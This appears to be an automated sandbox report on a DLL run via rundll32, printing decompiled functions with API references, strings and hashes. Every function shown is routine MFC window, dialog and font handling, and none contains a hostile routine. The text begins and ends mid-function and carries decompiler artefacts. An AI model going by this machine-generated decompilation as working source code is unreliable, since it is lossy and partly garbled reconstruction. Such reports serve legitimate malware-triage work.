				long _t116;
				void* _t119;
				struct HWND__* _t121;
				void* _t123;
				intOrPtr _t125;
				intOrPtr _t129;

				_t119 = __edx;
				_t105 = __ebx;
				_t125 = __ecx;
				_v12 = __ecx;
				_v8 = E10012862(__ecx);
				_t58 = _a4;
				if(_t58 == 0) {
					if((_v8 & 0x40000000) == 0) {
						_t59 = GetWindow( *(__ecx + 0x20), 4);
					} else {
						_t59 = GetParent( *(__ecx + 0x20));
					}
					_t121 = _t59;
					if(_t121 != 0) {
						_t104 = SendMessageA(_t121, 0x36b, 0, 0);
						if(_t104 != 0) {
							_t121 = _t104;
						}
					}
				} else {
					_t4 = _t58 + 0x20; // 0xc033d88b
					_t121 =  *_t4;
				}
				_push(_t105);
				GetWindowRect( *(_t125 + 0x20),  &_v60);
				if((_v8 & 0x40000000) != 0) {
					_t107 = GetParent( *(_t125 + 0x20));
					GetClientRect(_t107,  &_v28);
					GetClientRect(_t121,  &_v44);
					MapWindowPoints(_t121, _t107,  &_v44, 2);
				} else {
					if(_t121 != 0) {
						_t103 = GetWindowLongA(_t121, 0xfffffff0);
						if((_t103 & 0x10000000) == 0 || (_t103 & 0x20000000) != 0) {
							_t121 = 0;
						}
					}
					_v100 = 0x28;
					if(_t121 != 0) {
						GetWindowRect(_t121,  &_v44);
						E1000D86F(_t121, E1000D804(_t121, 2),  &_v100);
						CopyRect( &_v28,  &_v80);
					} else {
						_t94 = E1000A7CE();
						if(_t94 != 0) {
							_t94 =  *((intOrPtr*)(_t94 + 0x20));
						}
						E1000D86F(_t121, E1000D804(_t94, 1),  &_v100);
						CopyRect( &_v44,  &_v80);
						CopyRect( &_v28,  &_v80);
					}
				}
				_t108 = _v60.left;
				asm("cdq");
				_t123 = _v60.right - _t108;
				asm("cdq");
				_t120 = _v44.bottom;
				_t116 = (_v44.left + _v44.right - _t119 >> 1) - (_t123 - _t119 >> 1);
				_a4 = _v60.bottom - _v60.top;
				asm("cdq");
				asm("cdq");
				_t129 = (_v44.top + _v44.bottom - _v44.bottom >> 1) - (_a4 - _t120 >> 1);
				if(_t116 >= _v28.left) {
					if(_t123 + _t116 > _v28.right) {
						_t116 = _t108 - _v60.right + _v28.right;
					}
				} else {
					_t116 = _v28.left;
				}
				if(_t129 >= _v28.top) {
					if(_a4 + _t129 > _v28.bottom) {
						_t129 = _v60.top - _v60.bottom + _v28.bottom;
					}
				} else {
					_t129 = _v28.top;
				}
				return E1001297A(_v12, 0, _t116, _t129, 0xffffffff, 0xffffffff, 0x15);
			}

APIs

Part of subcall function 10012862: GetWindowLongA.USER32 ref: 1001286D

GetParent.USER32(?), ref: 1000F55D
SendMessageA.USER32(00000000,0000036B,00000000,00000000), ref: 1000F580
GetWindowRect.USER32 ref: 1000F59A
GetWindowLongA.USER32 ref: 1000F5B0
CopyRect.USER32 ref: 1000F5FD
CopyRect.USER32 ref: 1000F607
GetWindowRect.USER32 ref: 1000F610
CopyRect.USER32 ref: 1000F62C

Strings

(, xrefs: 1000F5C8

Memory Dump Source

Source File: 00000007.00000002.291204610.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.291200569.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.291226229.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.291234490.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000007.00000002.291275325.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.291282758.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.291287359.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_rundll32.jbxd

Similarity

API ID: Rect$Window$Copy$Long$MessageParentSend
String ID: (
API String ID: 808654186-3887548279
Opcode ID: 7a74a446788f1e642fa1c3aef1600eb5c5d71207166799e974e91dfaab450861
Instruction ID: 3f3129d87232bc90929dbfd76231b55f7e5f3d8dd267dcccc126c4261812b80e
Opcode Fuzzy Hash: 7a74a446788f1e642fa1c3aef1600eb5c5d71207166799e974e91dfaab450861
Instruction Fuzzy Hash: 84517072900619AFEB00DFA8CC85EEEBBB9EF48290F154119FA05F3594DB30ED419B60

Uniqueness

Uniqueness Score: -1.00%

Function 1000A1F9, Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 56
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E1000A1F9(intOrPtr* __ecx, void* __esi, intOrPtr _a4) {
				void* __ebx;
				void* __edi;
				void* __ebp;
				_Unknown_base(*)()* _t9;
				struct HINSTANCE__* _t15;
				void* _t16;
				intOrPtr* _t18;
				char _t19;
				intOrPtr _t21;
				_Unknown_base(*)()* _t22;
				_Unknown_base(*)()* _t23;

				_t16 = __esi;
				_t12 = __ecx;
				_t18 = __ecx;
				 *__ecx = _a4;
				_a4 = 0;
				_t19 =  *0x10058f2c; // 0x0
				if(_t19 == 0) {
					_t15 = GetModuleHandleA("KERNEL32");
					_t20 = _t15;
					if(_t15 == 0) {
						L2:
						E1000A0DB(0, _t12, _t15, _t16, _t20);
					}
					 *0x10058f1c = GetProcAddress(_t15, "CreateActCtxA");
					 *0x10058f20 = GetProcAddress(_t15, "ReleaseActCtx");
					 *0x10058f24 = GetProcAddress(_t15, "ActivateActCtx");
					_t9 = GetProcAddress(_t15, "DeactivateActCtx");
					_t21 =  *0x10058f1c; // 0x0
					 *0x10058f28 = _t9;
					_t16 = _t16;
					if(_t21 == 0) {
						__eflags =  *0x10058f20; // 0x0
						if(__eflags != 0) {
							goto L2;
						} else {
							__eflags =  *0x10058f24; // 0x0
							if(__eflags != 0) {
								goto L2;
							} else {
								__eflags = _t9;
								if(__eflags != 0) {
									goto L2;
								}
							}
						}
					} else {
						_t22 =  *0x10058f20; // 0x0
						if(_t22 == 0) {
							goto L2;
						} else {
							_t23 =  *0x10058f24; // 0x0
							if(_t23 == 0) {
								goto L2;
							} else {
								_t20 = _t9;
								if(_t9 == 0) {
									goto L2;
								}
							}
						}
					}
					 *0x10058f2c = 1;
				}
				return _t18;
			}

APIs

GetModuleHandleA.KERNEL32(KERNEL32,00000000,?,00000020,1000ACB1,000000FF), ref: 1000A21B
GetProcAddress.KERNEL32(00000000,CreateActCtxA), ref: 1000A239
GetProcAddress.KERNEL32(00000000,ReleaseActCtx), ref: 1000A246
GetProcAddress.KERNEL32(00000000,ActivateActCtx), ref: 1000A253
GetProcAddress.KERNEL32(00000000,DeactivateActCtx), ref: 1000A260

Strings

DeactivateActCtx, xrefs: 1000A255
ReleaseActCtx, xrefs: 1000A23B
CreateActCtxA, xrefs: 1000A233
KERNEL32, xrefs: 1000A216
ActivateActCtx, xrefs: 1000A248

Memory Dump Source

Source File: 00000007.00000002.291204610.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.291200569.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.291226229.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.291234490.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000007.00000002.291275325.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.291282758.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.291287359.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_rundll32.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: ActivateActCtx$CreateActCtxA$DeactivateActCtx$KERNEL32$ReleaseActCtx
API String ID: 667068680-3617302793
Opcode ID: 8958f846425cfb9847c1ef030b437731261e480fa3a980f3a7b160ae38ca1aab
Instruction ID: c20c66116e7296d4a0afd5037f2dffc74684b1862cb446d2da729e570b87d5d5
Opcode Fuzzy Hash: 8958f846425cfb9847c1ef030b437731261e480fa3a980f3a7b160ae38ca1aab
Instruction Fuzzy Hash: 3611C076C04266EBFB10DFA9ACC45097BE5E74F2D8301423FEA05A2124D7720980CF15

Uniqueness

Uniqueness Score: -1.00%

Function 1000CB74, Relevance: 16.6, APIs: 11, Instructions: 139
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E1000CB74(void* __ebx, signed int __ecx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				signed int _t54;
				void* _t58;
				signed int _t59;
				signed int _t63;
				signed short _t71;
				signed int _t84;
				void* _t94;
				struct HINSTANCE__* _t96;
				signed int _t97;
				void* _t98;
				signed int _t100;
				void* _t101;
				void* _t102;

				_t102 = __eflags;
				_t94 = __edx;
				_push(0x24);
				E10017BF4(E10028029, __ebx, __edi, __esi);
				_t100 = __ecx;
				 *((intOrPtr*)(_t101 - 0x20)) = __ecx;
				 *(_t101 - 0x1c) =  *(__ecx + 0x60);
				 *(_t101 - 0x18) =  *(__ecx + 0x5c);
				_t54 = E1000D5EC(__ebx, __edi, __ecx, _t102);
				_t96 =  *(_t54 + 0xc);
				_t84 = 0;
				_t103 =  *(_t100 + 0x58);
				if( *(_t100 + 0x58) != 0) {
					_t96 =  *(E1000D5EC(0, _t96, _t100, _t103) + 0xc);
					_t54 = LoadResource(_t96, FindResourceA(_t96,  *(_t100 + 0x58), 5));
					 *(_t101 - 0x18) = _t54;
				}
				if( *(_t101 - 0x18) != _t84) {
					_t54 = LockResource( *(_t101 - 0x18));
					 *(_t101 - 0x1c) = _t54;
				}
				if( *(_t101 - 0x1c) != _t84) {
					_t86 = _t100;
					 *(_t101 - 0x14) = E1000C6AC(_t84, _t100, __eflags);
					E1000FC04(_t84, _t96, __eflags);
					 *(_t101 - 0x28) =  *(_t101 - 0x28) & _t84;
					__eflags =  *(_t101 - 0x14) - _t84;
					 *(_t101 - 0x2c) = _t84;
					 *(_t101 - 0x24) = _t84;
					if(__eflags != 0) {
						__eflags =  *(_t101 - 0x14) - GetDesktopWindow();
						if(__eflags != 0) {
							__eflags = IsWindowEnabled( *(_t101 - 0x14));
							if(__eflags != 0) {
								EnableWindow( *(_t101 - 0x14), 0);
								 *(_t101 - 0x2c) = 1;
								_t84 = E1000A7CE();
								__eflags = _t84;
								 *(_t101 - 0x24) = _t84;
								if(__eflags != 0) {
									_t86 = _t84;
									__eflags =  *((intOrPtr*)( *_t84 + 0x120))();
									if(__eflags != 0) {
										_t86 = _t84;
										__eflags = E100128F8(_t84);
										if(__eflags != 0) {
											_t86 = _t84;
											E10012913(_t84, 0);
											 *(_t101 - 0x28) = 1;
										}
									}
								}
							}
						}
					}
					 *(_t101 - 4) =  *(_t101 - 4) & 0x00000000;
					E100115DC(_t96, __eflags, _t100);
					_t58 = E1000FB5C(_t84, _t86, _t101,  *(_t101 - 0x14));
					_push(_t96);
					_push(_t58);
					_push( *(_t101 - 0x1c));
					_t59 = E1000C984(_t84, _t100, _t94, _t96, _t100, __eflags);
					_t97 = 0;
					__eflags = _t59;
					if(_t59 != 0) {
						__eflags =  *(_t100 + 0x3c) & 0x00000010;
						if(( *(_t100 + 0x3c) & 0x00000010) != 0) {
							_t98 = 4;
							_t71 = E10012862(_t100);
							__eflags = _t71 & 0x00000100;
							if((_t71 & 0x00000100) != 0) {
								_t98 = 5;
							}
							E1000F6F2(_t100, _t98);
							_t97 = 0;
							__eflags = 0;
						}
						__eflags =  *((intOrPtr*)(_t100 + 0x20)) - _t97;
						if( *((intOrPtr*)(_t100 + 0x20)) != _t97) {
							E1001297A(_t100, _t97, _t97, _t97, _t97, _t97, 0x97);
						}
					}
					 *(_t101 - 4) =  *(_t101 - 4) | 0xffffffff;
					__eflags =  *(_t101 - 0x28) - _t97;
					if( *(_t101 - 0x28) != _t97) {
						E10012913(_t84, 1);
					}
					__eflags =  *(_t101 - 0x2c) - _t97;
					if( *(_t101 - 0x2c) != _t97) {
						EnableWindow( *(_t101 - 0x14), 1);
					}
					__eflags =  *(_t101 - 0x14) - _t97;
					if(__eflags != 0) {
						__eflags = GetActiveWindow() -  *((intOrPtr*)(_t100 + 0x20));
						if(__eflags == 0) {
							SetActiveWindow( *(_t101 - 0x14));
						}
					}
					 *((intOrPtr*)( *_t100 + 0x60))();
					E1000C6E6(_t84, _t100, _t97, _t100, __eflags);
					__eflags =  *(_t100 + 0x58) - _t97;
					if( *(_t100 + 0x58) != _t97) {
						FreeResource( *(_t101 - 0x18));
					}
					_t63 =  *(_t100 + 0x44);
					goto L31;
				} else {
					_t63 = _t54 | 0xffffffff;
					L31:
					return E10017C60(_t63);
				}
			}

APIs

__EH_prolog3_catch.LIBCMT ref: 1000CB7B
FindResourceA.KERNEL32(?,?,00000005), ref: 1000CBAE
LoadResource.KERNEL32(?,00000000), ref: 1000CBB6
LockResource.KERNEL32(?,00000024,100014EC,00000000,FD220812), ref: 1000CBC7
GetDesktopWindow.USER32 ref: 1000CBFA
IsWindowEnabled.USER32(?), ref: 1000CC08
EnableWindow.USER32(?,00000000), ref: 1000CC17

Part of subcall function 100128F8: IsWindowEnabled.USER32(?), ref: 10012901

Part of subcall function 10012913: EnableWindow.USER32(?,FD220812), ref: 10012920

EnableWindow.USER32(?,00000001), ref: 1000CCF3
GetActiveWindow.USER32 ref: 1000CCFE
SetActiveWindow.USER32(?,?,00000024,100014EC,00000000,FD220812), ref: 1000CD0C
FreeResource.KERNEL32(?,?,00000024,100014EC,00000000,FD220812), ref: 1000CD28

Memory Dump Source

Source File: 00000007.00000002.291204610.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.291200569.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.291226229.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.291234490.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000007.00000002.291275325.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.291282758.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.291287359.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_rundll32.jbxd

Similarity

API ID: Window$Resource$Enable$ActiveEnabled$DesktopFindFreeH_prolog3_catchLoadLock
String ID:
API String ID: 1509511306-0
Opcode ID: 79ae930f89578103c1460a1015ac81056dc0f6867cd803f5cb3b8be9090631d6
Instruction ID: 8f78f448105f665873ac1cd7b5fa33a3343bcf420d8a1ae80c8a79bff85a7528
Opcode Fuzzy Hash: 79ae930f89578103c1460a1015ac81056dc0f6867cd803f5cb3b8be9090631d6
Instruction Fuzzy Hash: A251BF34A007098BFF11DFA5C999EAEBBF1EF44781F20002EE506A6195CB759E41CF55

Uniqueness

Uniqueness Score: -1.00%

Function 10011245, Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 90
COMMON

Download Yara Rule

C-Code - Quality: 96%

			E10011245(void* __ebx, void* __ecx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				_Unknown_base(*)()* _t31;
				void* _t33;
				void* _t34;
				void* _t40;
				void* _t43;
				void* _t60;
				void* _t64;
				struct HWND__* _t66;
				CHAR* _t68;
				void* _t71;

				_t64 = __edx;
				_t60 = __ecx;
				_push(0x40);
				E10017BF4(E1002864B, __ebx, __edi, __esi);
				_t66 =  *(_t71 + 8);
				_t68 = "AfxOldWndProc423";
				_t31 = GetPropA(_t66, _t68);
				 *(_t71 - 0x14) =  *(_t71 - 0x14) & 0x00000000;
				 *(_t71 - 4) =  *(_t71 - 4) & 0x00000000;
				 *(_t71 - 0x18) = _t31;
				_t58 = 1;
				_t33 =  *(_t71 + 0xc) - 6;
				if(_t33 == 0) {
					_t34 = E1000FB5C(1, _t60, _t71,  *(_t71 + 0x14));
					E10011159(_t60, E1000FB5C(1, _t60, _t71, _t66),  *(_t71 + 0x10), _t34);
					goto L9;
				} else {
					_t40 = _t33 - 0x1a;
					if(_t40 == 0) {
						_t58 = 0 | E100111CF(1, _t66, E1000FB5C(1, _t60, _t71, _t66),  *(_t71 + 0x14),  *(_t71 + 0x14) >> 0x10) == 0x00000000;
						L9:
						if(_t58 != 0) {
							goto L10;
						}
					} else {
						_t43 = _t40 - 0x62;
						if(_t43 == 0) {
							SetWindowLongA(_t66, 0xfffffffc,  *(_t71 - 0x18));
							RemovePropA(_t66, _t68);
							GlobalDeleteAtom(GlobalFindAtomA(_t68));
							goto L10;
						} else {
							if(_t43 != 0x8e) {
								L10:
								 *(_t71 - 0x14) = CallWindowProcA( *(_t71 - 0x18), _t66,  *(_t71 + 0xc),  *(_t71 + 0x10),  *(_t71 + 0x14));
							} else {
								E1000E865(E1000FB5C(1, _t60, _t71, _t66), _t71 - 0x30, _t71 - 0x1c);
								 *(_t71 - 0x14) = CallWindowProcA( *(_t71 - 0x18), _t66, 0x110,  *(_t71 + 0x10),  *(_t71 + 0x14));
								E100100F3(1, _t64, _t49, _t71 - 0x30,  *((intOrPtr*)(_t71 - 0x1c)));
							}
						}
					}
				}
				return E10017C60( *(_t71 - 0x14));
			}

APIs

__EH_prolog3_catch.LIBCMT ref: 1001124C
GetPropA.USER32 ref: 1001125B
CallWindowProcA.USER32 ref: 100112B5

Part of subcall function 100100F3: GetWindowRect.USER32 ref: 1001011B
Part of subcall function 100100F3: GetWindow.USER32(?,00000004), ref: 10010138

SetWindowLongA.USER32(?,000000FC,?), ref: 100112DC
RemovePropA.USER32 ref: 100112E4
GlobalFindAtomA.KERNEL32 ref: 100112EB
GlobalDeleteAtom.KERNEL32(00000000), ref: 100112F2

Part of subcall function 1000E865: GetWindowRect.USER32 ref: 1000E871

CallWindowProcA.USER32 ref: 10011346

Strings

AfxOldWndProc423, xrefs: 10011254, 10011259, 100112E2, 100112EA

Memory Dump Source

Source File: 00000007.00000002.291204610.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.291200569.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.291226229.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.291234490.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000007.00000002.291275325.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.291282758.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.291287359.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_rundll32.jbxd

Similarity

API ID: Window$AtomCallGlobalProcPropRect$DeleteFindH_prolog3_catchLongRemove
String ID: AfxOldWndProc423
API String ID: 2702501687-1060338832
Opcode ID: 8fd6b985b15a6b43d9e50dafe11c9ce611adcf5e5826660702256a507342a875
Instruction ID: 0d19250562dc5a9dad551a697ef26f9b08052b09a3581b526b6705a222a2b98b
Opcode Fuzzy Hash: 8fd6b985b15a6b43d9e50dafe11c9ce611adcf5e5826660702256a507342a875
Instruction Fuzzy Hash: 2D317F7680021ABBDF05DFA0CD89EFF7FB9FF05651F100118F611A6051DB359A61ABA1

Uniqueness

Uniqueness Score: -1.00%

Function 1000C984, Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 158
COMMON

Download Yara Rule

C-Code - Quality: 97%

			E1000C984(void* __ebx, intOrPtr* __ecx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				signed int _t65;
				signed int _t72;
				signed int _t74;
				struct HWND__* _t75;
				signed int _t78;
				signed int _t95;
				intOrPtr* _t103;
				signed int _t110;
				void* _t124;
				signed int _t129;
				DLGTEMPLATE* _t130;
				struct HWND__* _t131;
				void* _t132;

				_t128 = __esi;
				_t124 = __edx;
				_t104 = __ecx;
				_push(0x3c);
				E10017BF4(E1002800E, __ebx, __edi, __esi);
				_t103 = __ecx;
				 *((intOrPtr*)(_t132 - 0x20)) = __ecx;
				_t136 =  *(_t132 + 0x10);
				if( *(_t132 + 0x10) == 0) {
					 *(_t132 + 0x10) =  *(E1000D5EC(__ecx, 0, __esi, _t136) + 0xc);
				}
				_t129 =  *(E1000D5EC(_t103, 0, _t128, _t136) + 0x3c);
				 *(_t132 - 0x28) = _t129;
				 *(_t132 - 0x14) = 0;
				 *(_t132 - 4) = 0;
				E10012406(_t103, _t104, 0, _t129, _t136, 0x10);
				E10012406(_t103, _t104, 0, _t129, _t136, 0x7c000);
				if(_t129 == 0) {
					_t130 =  *(_t132 + 8);
					L7:
					__eflags = _t130;
					if(_t130 == 0) {
						L4:
						_t65 = 0;
						L32:
						return E10017C60(_t65);
					}
					E10009E23(_t132 - 0x1c, E10013479());
					 *(_t132 - 4) = 1;
					 *((intOrPtr*)(_t132 - 0x18)) = 0;
					__eflags = E10014A97(__eflags, _t130, _t132 - 0x1c, _t132 - 0x18);
					__eflags =  *0x1005aa84; // 0x0
					_t72 = 0 | __eflags == 0x00000000;
					if(__eflags == 0) {
						L14:
						__eflags = _t72;
						if(__eflags == 0) {
							L17:
							 *(_t103 + 0x44) =  *(_t103 + 0x44) | 0xffffffff;
							 *(_t103 + 0x3c) =  *(_t103 + 0x3c) | 0x00000010;
							E100115DC(0, __eflags, _t103);
							_t74 =  *(_t132 + 0xc);
							__eflags = _t74;
							if(_t74 != 0) {
								_t75 =  *(_t74 + 0x20);
							} else {
								_t75 = 0;
							}
							_t131 = CreateDialogIndirectParamA( *(_t132 + 0x10), _t130, _t75, E1000C402, 0);
							E10009CB7( *((intOrPtr*)(_t132 - 0x1c)) + 0xfffffff0, _t124);
							 *(_t132 - 4) =  *(_t132 - 4) | 0xffffffff;
							_t110 =  *(_t132 - 0x28);
							__eflags = _t110;
							if(__eflags != 0) {
								 *((intOrPtr*)( *_t110 + 0x18))(_t132 - 0x48);
								__eflags = _t131;
								if(__eflags != 0) {
									 *((intOrPtr*)( *_t103 + 0x12c))(0);
								}
							}
							_t78 = E1000FC04(_t103, 0, __eflags);
							__eflags = _t78;
							if(_t78 == 0) {
								 *((intOrPtr*)( *_t103 + 0x114))();
							}
							__eflags = _t131;
							if(_t131 != 0) {
								__eflags =  *(_t103 + 0x3c) & 0x00000010;
								if(( *(_t103 + 0x3c) & 0x00000010) == 0) {
									DestroyWindow(_t131);
									_t131 = 0;
									__eflags = 0;
								}
							}
							__eflags =  *(_t132 - 0x14);
							if( *(_t132 - 0x14) != 0) {
								GlobalUnlock( *(_t132 - 0x14));
								GlobalFree( *(_t132 - 0x14));
							}
							__eflags = _t131;
							_t59 = _t131 != 0;
							__eflags = _t59;
							_t65 = 0 | _t59;
							goto L32;
						}
						L15:
						E10014A60(_t103, _t132 - 0x38, 0, _t132, _t130);
						 *(_t132 - 4) = 2;
						E100149BE(_t132 - 0x38,  *((intOrPtr*)(_t132 - 0x18)));
						 *(_t132 - 0x14) = E100146D7(_t132 - 0x38);
						 *(_t132 - 4) = 1;
						E100146C9(_t132 - 0x38);
						__eflags =  *(_t132 - 0x14);
						if(__eflags != 0) {
							_t130 = GlobalLock( *(_t132 - 0x14));
						}
						goto L17;
					}
					__eflags = _t72;
					if(_t72 != 0) {
						goto L15;
					}
					__eflags = GetSystemMetrics(0x2a);
					if(__eflags == 0) {
						goto L17;
					}
					_t95 = E1000C95C(_t132 - 0x1c, "MS Shell Dlg");
					__eflags = _t95;
					_t72 = 0 | _t95 == 0x00000000;
					__eflags = _t72;
					if(__eflags == 0) {
						goto L17;
					}
					__eflags =  *((short*)(_t132 - 0x18)) - 8;
					if( *((short*)(_t132 - 0x18)) == 8) {
						 *((intOrPtr*)(_t132 - 0x18)) = 0;
					}
					goto L14;
				}
				_push(_t132 - 0x48);
				if( *((intOrPtr*)( *_t103 + 0x12c))() != 0) {
					_t130 =  *((intOrPtr*)( *_t129 + 0x14))(_t132 - 0x48,  *(_t132 + 8));
					goto L7;
				}
				goto L4;
			}

APIs

__EH_prolog3_catch.LIBCMT ref: 1000C98B
GetSystemMetrics.USER32 ref: 1000CA3C
GlobalLock.KERNEL32 ref: 1000CAA5
CreateDialogIndirectParamA.USER32(?,?,?,1000C402,00000000), ref: 1000CAD4

Strings

MS Shell Dlg, xrefs: 1000CA46

Memory Dump Source

Source File: 00000007.00000002.291204610.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.291200569.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.291226229.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.291234490.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000007.00000002.291275325.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.291282758.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.291287359.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_rundll32.jbxd

Similarity

API ID: CreateDialogGlobalH_prolog3_catchIndirectLockMetricsParamSystem
String ID: MS Shell Dlg
API String ID: 1736106359-76309092
Opcode ID: 0836612ccd89b939986456284b221daff64c2c444739792d891f2b66984f1eb5
Instruction ID: aca18bfbc2af702d8352a65e986f2fe47acd8ccb78c3dcc49b793ffb13d9be50
Opcode Fuzzy Hash: 0836612ccd89b939986456284b221daff64c2c444739792d891f2b66984f1eb5
Instruction Fuzzy Hash: AF51A031A0020D9FDB05DFA4C88ADEEBBB4EF45780F254559F442EB199DB349E81CB52

Uniqueness

Uniqueness Score: -1.00%

Function 100149BE, Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 63
COMMON

Download Yara Rule

C-Code - Quality: 95%

			E100149BE(intOrPtr __ecx, signed int _a4) {
				signed int _v8;
				char _v40;
				void _v68;
				intOrPtr _v72;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t12;
				void* _t14;
				char* _t23;
				void* _t29;
				signed short _t30;
				struct HDC__* _t31;
				signed int _t32;

				_t12 =  *0x10057a08; // 0xfd220812
				_v8 = _t12 ^ _t32;
				_t31 = GetStockObject;
				_t30 = 0xa;
				_v72 = __ecx;
				_t23 = "System";
				_t14 = GetStockObject(0x11);
				if(_t14 != 0) {
					L2:
					if(GetObjectA(_t14, 0x3c,  &_v68) != 0) {
						_t23 =  &_v40;
						_t31 = GetDC(0);
						if(_v68 < 0) {
							_v68 =  ~_v68;
						}
						_t30 = MulDiv(_v68, 0x48, GetDeviceCaps(_t31, 0x5a)) & 0x0000ffff;
						ReleaseDC(0, _t31);
					}
					L6:
					_t16 = _a4;
					if(_a4 == 0) {
						_t16 = _t30 & 0x0000ffff;
					}
					return E100167D5(E1001486F(_t23, _v72, _t29, _t31, _t23, _t16), _t23, _v8 ^ _t32, _t29, _t30, _t31);
				}
				_t14 = GetStockObject(0xd);
				if(_t14 == 0) {
					goto L6;
				}
				goto L2;
			}

APIs

GetStockObject.GDI32(00000011), ref: 100149E4
GetStockObject.GDI32(0000000D), ref: 100149EC
GetObjectA.GDI32(00000000,0000003C,?), ref: 100149F9
GetDC.USER32(00000000), ref: 10014A08
GetDeviceCaps.GDI32(00000000,0000005A), ref: 10014A1C
MulDiv.KERNEL32(00000000,00000048,00000000), ref: 10014A28
ReleaseDC.USER32 ref: 10014A34

Strings

System, xrefs: 100149DF, 10014A49

Memory Dump Source

Source File: 00000007.00000002.291204610.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.291200569.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.291226229.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000007.00000002.291234490.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000007.00000002.291275325.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.291282758.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000007.00000002.291287359.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_rundll32.jbxd

Similarity

API ID: Object$Stock$CapsDeviceRelease
String ID: System
API String ID: 46613423-3470857405
Opcode ID: a6886f26645baa5a84af5b89923cd17d43b4ad3fa3ddc4ab300892a0af884a22
Instruction ID: a63e4a091ca1b7be2859df30e5517b7a4abcdff67d16382c886f5131b7cbdf71
Opcode Fuzzy Hash: a6886f26645baa5a84af5b89923cd17d43b4ad3fa3ddc4ab300892a0af884a22
Instruction Fuzzy Hash: 39118F71A40268EBEB10DBA1CC85FAE7BB8FF04781F420015FA02AA190DE709D46CB65

Uniqueness

Uniqueness Score: -1.00%

Function 10009360, Relevance: 13.6, APIs: 9, Instructions: 105
windowCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E10009360(intOrPtr __ecx, intOrPtr _a4) {
				long _v8;
				intOrPtr _v12;
				long _v16;
				long _v20;
				intOrPtr _v24;
				long _v28;
				intOrPtr _v32;
				signed int _t38;
				long _t49;
				intOrPtr _t50;
				void* _t60;
				long _t76;
				void* _t84;
				void* _t85;

				_v32 = __ecx;
				if(_a4 == 8) {
					return E100090F0(_t60, _v32, _t84, _t85);
				}
				if(_a4 == 9) {
					_t38 =  *0x10058ece & 0x000000ff;
					if(_t38 != 0) {
						_v8 = SendMessageA( *(_v32 + 0x94), 0xe, 0, 0);
						_v12 = _v32 + 0x74;
						SendMessageA( *(_v12 + 0x20), 0xb1, _v8, _v8);
						if(0 == 0) {
							SendMessageA( *(_v12 + 0x20), 0xb7, 0, 0);
						}
						_t76 =  *0x10058f0c; // 0x1005aa2c
						_v16 = _t76;
						SendMessageA( *(_v32 + 0x94), 0xc2, 0, _v16);
						if(_v8 > 0x1000) {
							_t50 =  *0x10058f0c; // 0x1005aa2c
							_t21 = _t50 - 0xc; // 0x0
							_v20 =  *_t21;
							_v24 = _v32 + 0x74;
							SendMessageA( *(_v24 + 0x20), 0xb1, 0, _v20);
							if(0 == 0) {
								SendMessageA( *(_v24 + 0x20), 0xb7, 0, 0);
							}
							SendMessageA( *(_v32 + 0x94), 0xc2, 0, 0x100295fc);
						}
